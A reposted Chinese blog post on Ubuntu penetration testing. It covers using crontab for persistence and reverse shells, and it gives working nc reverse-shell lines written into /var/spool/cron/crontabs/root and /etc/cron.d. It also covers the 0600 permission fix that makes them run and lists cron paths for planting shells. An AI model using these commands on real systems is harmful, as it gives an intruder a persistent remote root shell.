博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
linux计划任务踩坑
阅读量:2035 次
发布时间:2019-04-28

本文共 1245 字,大约阅读时间需要 4 分钟。

文章目录

1.前言

在linux渗透测试的时候,有时会选择使用计划任务crontab来进行权限维持或者反弹shell,在自己做测试的时候遇见了几个特殊的点做一下记录。

环境为ubuntu。

2.前置知识

各个用户的计划任务文件存在/var/spool/cron/crontabs/中,以用户名来命名。

系统级别的计划任务文件存在/etc/crontab,无论什么用户登陆,都会执行这个文件中的计划任务。
crontab -l 查看当前用户的计划任务
crontab -r 删除当前用户所有的计划任务
crontab -e 编辑当前用户的计划任务

3.测试

如果可以使用shell,直接用crontab命令即可。如果无法使用shell类似于redis未授权漏洞的利用,就需要直接编辑/var/spool/cron/crontabs/文件,但是直接编辑文件,在新版本的linux系统中无法生效。

3.1 使用crontab来设置计划任务

使用crontab命令创建计划任务的话,文件中会含有许多注释,且权限为600。

在这里插入图片描述

在这里插入图片描述

查看日志可以看到执行了命令:

tail -f /var/log/syslog

在这里插入图片描述

执行ls命令,shell反弹成功:

在这里插入图片描述

3.2 直接编辑文件设置计划任务

echo "* * * * * root nc -e /bin/sh 172.16.250.1 8888" > /var/spool/cron/crontabs/root

在这里插入图片描述

看日志发现报错了,文件权限有问题,而且事实也是一直没有shell反弹回来:
在这里插入图片描述
这时候唯一的解决方案就是更改文件权限:

chmod 0600 /var/spool/cron/crontabs/root

发现shell已经回连。

在这里插入图片描述

4.总结

直接编辑/var/spool/cron/crontabs/root文件设置root的计划任务是无法成功的,因为文件的权限不是0600。设置的时候尽量使用crontab -e命令。

至于centos的话,就不受影响。

补充:/etc/cron.d与/etc/crontab

可以直接给此文件夹下写计划任务,不需要特殊权限即可执行,但是一定要加上username字段,举例如下增加了root用户:

echo  "* * * * * root nc -e /bin/sh 172.16.250.1 8888" > /etc/cron.d/2

在这里插入图片描述

最后补充一下,可进行利用的cron有如下几个地方:

/etc/crontab 这个是肯定的

/etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
/var/spool/cron/root centos系统下root用户的cron文件
/var/spool/cron/crontabs/root debian系统下root用户的cron文件

5.参考文章

转载地址:http://gmraf.baihongyu.com/

你可能感兴趣的文章
【LEETCODE】231-Power of Two
查看>>
【LEETCODE】172-Factorial Trailing Zeroes
查看>>
【LEETCODE】112-Path Sum
查看>>
【LEETCODE】9-Palindrome Number
查看>>
【极客学院】-python学习笔记-Python快速入门(面向对象-引入外部文件-Web2Py创建网站)
查看>>
【LEETCODE】190-Reverse Bits
查看>>
【LEETCODE】67-Add Binary
查看>>
【LEETCODE】7-Reverse Integer
查看>>
【LEETCODE】165-Compare Version Numbers
查看>>
【LEETCODE】299-Bulls and Cows
查看>>
【LEETCODE】223-Rectangle Area
查看>>
【LEETCODE】12-Integer to Roman
查看>>
【学习方法】如何分析源代码
查看>>
【LEETCODE】61- Rotate List [Python]
查看>>
【LEETCODE】143- Reorder List [Python]
查看>>
【LEETCODE】82- Remove Duplicates from Sorted List II [Python]
查看>>
【LEETCODE】86- Partition List [Python]
查看>>
【LEETCODE】147- Insertion Sort List [Python]
查看>>
【算法】- 动态规划的编织艺术
查看>>
用 TensorFlow 让你的机器人唱首原创给你听
查看>>